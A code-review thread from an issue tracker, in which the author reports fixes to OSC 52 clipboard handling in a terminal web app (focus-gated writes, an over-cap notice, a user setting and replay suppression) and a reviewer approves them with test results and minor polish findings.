**Review fixes (J399), head `31ebfc6251e116bb4cece5580864a907a765f074`** (confirmed with `git ls-remote`: `31ebfc6251e116bb4cece5580864a907a765f074`). Merged origin/dev 6b60f1fb7 first (`ba20589dd`). - **Over-cap copy:** scanner reports it (`onTooLarge`); notice "That copy was too large for the clipboard"; clipboard untouched. Docs now say 1,048,576 base64 chars = 786,432 bytes of text (not "1 MiB"). - **Focus:** `mayCopyWithoutTap()` is the single decision point (focused terminal on a visible page); anything else, or a refused write, offers "From <host>" + Copy and never writes. A policy change is a one-function edit. - **Legacy fallback:** `writeClipboard(text, { legacy: false })` for program-started copies; the focus never moves (spec logs focusin: none). - **Placement:** the first attempt (shared toast) covered the prompt and wrapped, so it was replaced by the window's own toast on the edge away from the cursor (new `ToastController.setEdge`), one line on a phone. See screenshots. **Caveat on the two-window spec:** the mock server serves one terminal per page connection (a second attach closes the socket), so a live two-window spec is not possible without rebuilding it. `osc52-focus.spec.ts` models the other window by what the code checks (focus outside the terminal host) and counts every `navigator.clipboard.writeText` call to prove none happens by itself. Say if you want the mock extended for a true two-window run. **Gates (dev-02; logs `~/j398-r2.log`, `~/j398-r4.log`, `~/j398-r5.log`):** - red (before the fix, `74abce18d`): over-cap, refused-write placement and legacy-focus cases failed; the first two-window attempt could not run (see caveat). - green x3 at 1440x900 and 393x852 (16 cases x 3): `48 passed (10.1m)` on `64e76c1af`; unit tests and `bun run check` exit 0. - `scripts/verify quick` exit 0 on `31ebfc6251e116bb4cece5580864a907a765f074`: ``` +---------------------------+--------------+ | Rust gate | Result | +---------------------------+--------------+ | scope guard | PASS | | migration names | PASS | | Nix Cargo vendoring | PASS | | fmt | PASS | | doc coverage ratchet | PASS | | shape lints off (D351) | PASS | | doc comments on diff | PASS | | fixed test waits | PASS | | ui literals | PASS | | tracer typecheck | PASS | +---------------------------+--------------+ ``` Not run: `verify fast`/`iterate`. Screenshots attached: phone and desktop prompt (top and bottom), too-large, unfocused offer.
Author
Owner

D373 switch, head a87c7eae8bdca3f3bc4a7e8959e1b894b733495c (git ls-remote: a87c7eae8bdca3f3bc4a7e8959e1b894b733495c). Merged origin/dev 411b49aa8 first (cb56e3867). The earlier round (over-cap notice, focus-only writes, P3 fixes) was already finished and pushed.

  • Setting "Programs can copy to your clipboard", ON by default, in Terminal > Hosts under the heading "Clipboard" (85af04e94). Off: every program copy shows the Copy action and nothing is written; read at each copy inside mayCopyWithoutTap().
  • Storage: device-local via local-pref.ts with a change event, the same way the Extended info switch is stored. I found no real per-account preference store: the toolbar's account layout is a test-double endpoint, and the server-backed Settings rows (product-source.ts) cover only the key lifetime, with the rest waiting on server settings. A server-stored version would be backend work, so I did not start it. Say if you want it per account.

Gates (dev-02; logs ~/j398-r6.log, ~/j398-r7.log):

  • red (spec on the pre-switch tree): 4 failed.
  • green x3 at 1440x900 and 393x852, all osc52 specs plus machine-sections (the Hosts window): 81 passed (15.5m) on 85af04e94; bun run check exit 0.
  • scripts/verify quick exit 0 on a87c7eae8bdca3f3bc4a7e8959e1b894b733495c:
+---------------------------+--------------+
| Rust gate                 | Result       |
+---------------------------+--------------+
| scope guard               | PASS         |
| migration names           | PASS         |
| Nix Cargo vendoring       | PASS         |
| fmt                       | PASS         |
| doc coverage ratchet      | PASS         |
| shape lints off (D351)    | PASS         |
| doc comments on diff      | PASS         |
| fixed test waits          | PASS         |
| ui literals               | PASS         |
| tracer typecheck          | PASS         |
+---------------------------+--------------+

Not run: verify fast. Screenshots attached: switch on/off and the off-state offer, desktop and phone.

**D373 switch, head `a87c7eae8bdca3f3bc4a7e8959e1b894b733495c`** (`git ls-remote`: `a87c7eae8bdca3f3bc4a7e8959e1b894b733495c`). Merged origin/dev 411b49aa8 first (`cb56e3867`). The earlier round (over-cap notice, focus-only writes, P3 fixes) was already finished and pushed. - Setting "Programs can copy to your clipboard", ON by default, in Terminal > Hosts under the heading "Clipboard" (`85af04e94`). Off: every program copy shows the Copy action and nothing is written; read at each copy inside `mayCopyWithoutTap()`. - **Storage:** device-local via `local-pref.ts` with a change event, the same way the Extended info switch is stored. I found no real per-account preference store: the toolbar's account layout is a test-double endpoint, and the server-backed Settings rows (`product-source.ts`) cover only the key lifetime, with the rest waiting on server settings. A server-stored version would be backend work, so I did not start it. Say if you want it per account. **Gates (dev-02; logs `~/j398-r6.log`, `~/j398-r7.log`):** - red (spec on the pre-switch tree): 4 failed. - green x3 at 1440x900 and 393x852, all osc52 specs plus machine-sections (the Hosts window): `81 passed (15.5m)` on `85af04e94`; `bun run check` exit 0. - `scripts/verify quick` exit 0 on `a87c7eae8bdca3f3bc4a7e8959e1b894b733495c`: ``` +---------------------------+--------------+ | Rust gate | Result | +---------------------------+--------------+ | scope guard | PASS | | migration names | PASS | | Nix Cargo vendoring | PASS | | fmt | PASS | | doc coverage ratchet | PASS | | shape lints off (D351) | PASS | | doc comments on diff | PASS | | fixed test waits | PASS | | ui literals | PASS | | tracer typecheck | PASS | +---------------------------+--------------+ ``` Not run: `verify fast`. Screenshots attached: switch on/off and the off-state offer, desktop and phone.
Author
Owner

J412 review: APPROVE (reviewed a87c7eae8bdca3f3bc4a7e8959e1b894b733495c, the newest head; merged origin/dev 0414b7b2f into a scratch worktree, clean, 14c3b8179). No P1, no P2.

Fix checks

  • Over-cap copy: shows "That copy was too large for the clipboard", clipboard untouched (spec "a copy over the cap…", desktop + phone, passed).
  • mayCopyWithoutTap() is the single decision: setting on, page visible, focus inside this terminal's host. Anything else offers "From " + Copy and writes nothing. Passed, and see the two-page run below.
  • Legacy fallback: writeClipboard(text, { legacy: false }) for program-started copies; the spec logs no focus change. The Copy tap still uses the legacy path (right: it is a gesture).
  • Notice edge: the window's own toast moves to the edge away from the cursor (setEdge); the prompt rows are clear in every case below.
  • D373 switch present ("Programs can copy to your clipboard", Terminal > Hosts > Clipboard, ON by default, read at each copy). osc52-setting.spec.ts passed: on by default, off is remembered across reload, off = Copy action only and zero writeText calls, on again = lands at once. Per-device storage not counted, per the owner's note.
  • Replay: replayed bytes go through writeSuppressingTerminalResponses with no callback, and a sequence that starts in replay is flagged replayed, so one straddling the replay fence cannot write. Specs "a copy in replayed output after a reconnect…" passed (desktop + phone).
  • Hot path: the scanner is one indexOf per chunk on plain output, run once per live chunk before the query branch; unchanged since J399's measurement (~1 us plain, 42-175 us per 64 KiB on escape-dense output, cheaper than the query scanner beside it). I did not re-measure; the only scanner change since is the onTooLarge call on the over-cap path.

Is the two-window spec enough? No, on its own. osc52-focus.spec.ts runs one terminal and only moves focus out of its host, so it proves the predicate, not that two clients stay independent. I added a live check (scratch, not for the repo: ~/j412-evidence/specs/zz-j412-two-pages.spec.ts on dev-02): two pages, two real TerminalClients attached to one mock session, one OSC 52 sent to the live stream. Result: the focused page wrote the clipboard exactly once and showed "Copied from the terminal"; the other page showed "From …" + Copy, wrote 0 times, and the clipboard held the focused page's text. Then the roles swapped and it held again. Passed (28 passed (5.5m) for the whole run, log ~/j412-evidence/spec-run.log, SPEC_EXIT=0). I consider that enough proof for the policy. It is not two windows in one canvas, so the shared-page case rests on code reading: each client has its own scanner, its own toast and its own key (remote-copy-N), and host.contains(activeElement) cannot be true for two hosts at once.

Gate results

  • bun test src/osc52.test.ts: 8 pass, 0 fail.
  • Playwright on dev-02, production tracer build: osc52-clipboard, osc52-focus, osc52-setting, machine-sections (Hosts window) plus my two-page spec: 28 passed.
  • scripts/verify quick (merged tree, VERIFY_QUICK_BASE=origin/dev): exit 0, all 10 rows PASS incl. doc comments on diff, fixed test waits, ui literals, tracer typecheck (~/j412-evidence/quick2.log). A first quick run failed "doc comments on diff" only because my own scratch specs were in the tree; I moved them out and it passed.
  • Not run: verify fast (author's gate), per the brief.

Phone, 393x852 and 375x667, ink and paper (production build, real shared toast; scratch spec zz-j412-phone.spec.ts, shots in ~/j412-evidence/pw/j412/, attached below). The notice never covers the prompt: bottom prompt rows 720-771 (393x852) and 533-584 (375x667) with the notice at y 163-224; prompt at the top puts it at y 636-697. It stays inside the viewport (x 13-380).

P3-1: the offer does not always stay on one line on a phone. Two cases: (a) at 375x667 a long host name ("From infraternal…", cut to 11 characters) wraps "From" and the name onto two lines; at 393 it fits. (b) A second copy while the first offer is still up shows "×2" (the toast's repeat counter, same key), and at 393x852 that wraps too ("From infraternal… ×2", two lines). The prompt is still clear and the Copy action stays 44 px, so this is polish, not a blocker. Suggest dropping the repeat counter for these notices, or shortening the name further (6-8 characters) / hiding "From".
P3-2: top-edge offset top: 3.25rem is a literal that assumes the window header height. It looks right in both phone sizes (the notice sits under the header). I could not check a desktop multi-window canvas, where headers can differ.
P3-3: the shared-page two-window case is by reading, not run (see above); a mock that serves two sessions to one page would close it.

Cleanup: no servers or browsers left running; scratch worktree ~/worktrees/j412 removed; evidence kept in ~/j412-evidence/.

Verdict: APPROVE. Reviewed SHA a87c7eae8bdca3f3bc4a7e8959e1b894b733495c. Gates: specs 28/28 passed, bun test 8/8, verify quick PASS (exit 0).

**J412 review: APPROVE** (reviewed `a87c7eae8bdca3f3bc4a7e8959e1b894b733495c`, the newest head; merged origin/dev `0414b7b2f` into a scratch worktree, clean, `14c3b8179`). No P1, no P2. **Fix checks** - Over-cap copy: shows "That copy was too large for the clipboard", clipboard untouched (spec "a copy over the cap…", desktop + phone, passed). - `mayCopyWithoutTap()` is the single decision: setting on, page visible, focus inside this terminal's host. Anything else offers "From <host>" + Copy and writes nothing. Passed, and see the two-page run below. - Legacy fallback: `writeClipboard(text, { legacy: false })` for program-started copies; the spec logs no focus change. The Copy tap still uses the legacy path (right: it is a gesture). - Notice edge: the window's own toast moves to the edge away from the cursor (`setEdge`); the prompt rows are clear in every case below. - **D373 switch present** ("Programs can copy to your clipboard", Terminal > Hosts > Clipboard, ON by default, read at each copy). `osc52-setting.spec.ts` passed: on by default, off is remembered across reload, off = Copy action only and zero `writeText` calls, on again = lands at once. Per-device storage not counted, per the owner's note. - Replay: replayed bytes go through `writeSuppressingTerminalResponses` with no callback, and a sequence that starts in replay is flagged `replayed`, so one straddling the replay fence cannot write. Specs "a copy in replayed output after a reconnect…" passed (desktop + phone). - Hot path: the scanner is one `indexOf` per chunk on plain output, run once per live chunk before the query branch; unchanged since J399's measurement (~1 us plain, 42-175 us per 64 KiB on escape-dense output, cheaper than the query scanner beside it). I did not re-measure; the only scanner change since is the `onTooLarge` call on the over-cap path. **Is the two-window spec enough? No, on its own.** `osc52-focus.spec.ts` runs one terminal and only moves focus out of its host, so it proves the predicate, not that two clients stay independent. I added a live check (scratch, not for the repo: `~/j412-evidence/specs/zz-j412-two-pages.spec.ts` on dev-02): two pages, two real `TerminalClient`s attached to one mock session, one `OSC 52` sent to the live stream. Result: the focused page wrote the clipboard exactly once and showed "Copied from the terminal"; the other page showed "From …" + Copy, wrote 0 times, and the clipboard held the focused page's text. Then the roles swapped and it held again. Passed (`28 passed (5.5m)` for the whole run, log `~/j412-evidence/spec-run.log`, `SPEC_EXIT=0`). I consider that enough proof for the policy. It is not two windows in one canvas, so the shared-page case rests on code reading: each client has its own scanner, its own toast and its own key (`remote-copy-N`), and `host.contains(activeElement)` cannot be true for two hosts at once. **Gate results** - `bun test src/osc52.test.ts`: 8 pass, 0 fail. - Playwright on dev-02, production tracer build: osc52-clipboard, osc52-focus, osc52-setting, machine-sections (Hosts window) plus my two-page spec: **28 passed**. - `scripts/verify quick` (merged tree, `VERIFY_QUICK_BASE=origin/dev`): exit 0, all 10 rows PASS incl. doc comments on diff, fixed test waits, ui literals, tracer typecheck (`~/j412-evidence/quick2.log`). A first quick run failed "doc comments on diff" only because my own scratch specs were in the tree; I moved them out and it passed. - Not run: `verify fast` (author's gate), per the brief. **Phone, 393x852 and 375x667, ink and paper** (production build, real shared toast; scratch spec `zz-j412-phone.spec.ts`, shots in `~/j412-evidence/pw/j412/`, attached below). The notice never covers the prompt: bottom prompt rows 720-771 (393x852) and 533-584 (375x667) with the notice at y 163-224; prompt at the top puts it at y 636-697. It stays inside the viewport (x 13-380). **P3-1: the offer does not always stay on one line on a phone.** Two cases: (a) at 375x667 a long host name ("From infraternal…", cut to 11 characters) wraps "From" and the name onto two lines; at 393 it fits. (b) A second copy while the first offer is still up shows "×2" (the toast's repeat counter, same key), and at 393x852 that wraps too ("From infraternal… ×2", two lines). The prompt is still clear and the Copy action stays 44 px, so this is polish, not a blocker. Suggest dropping the repeat counter for these notices, or shortening the name further (6-8 characters) / hiding "From". **P3-2: top-edge offset `top: 3.25rem` is a literal that assumes the window header height.** It looks right in both phone sizes (the notice sits under the header). I could not check a desktop multi-window canvas, where headers can differ. **P3-3: the shared-page two-window case is by reading, not run** (see above); a mock that serves two sessions to one page would close it. Cleanup: no servers or browsers left running; scratch worktree `~/worktrees/j412` removed; evidence kept in `~/j412-evidence/`. **Verdict: APPROVE. Reviewed SHA `a87c7eae8bdca3f3bc4a7e8959e1b894b733495c`. Gates: specs 28/28 passed, `bun test` 8/8, `verify quick` PASS (exit 0).**
Sign in to join this conversation.
No labels
launch-qa
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set

Reference
kayg/infraternal#440
No description provided.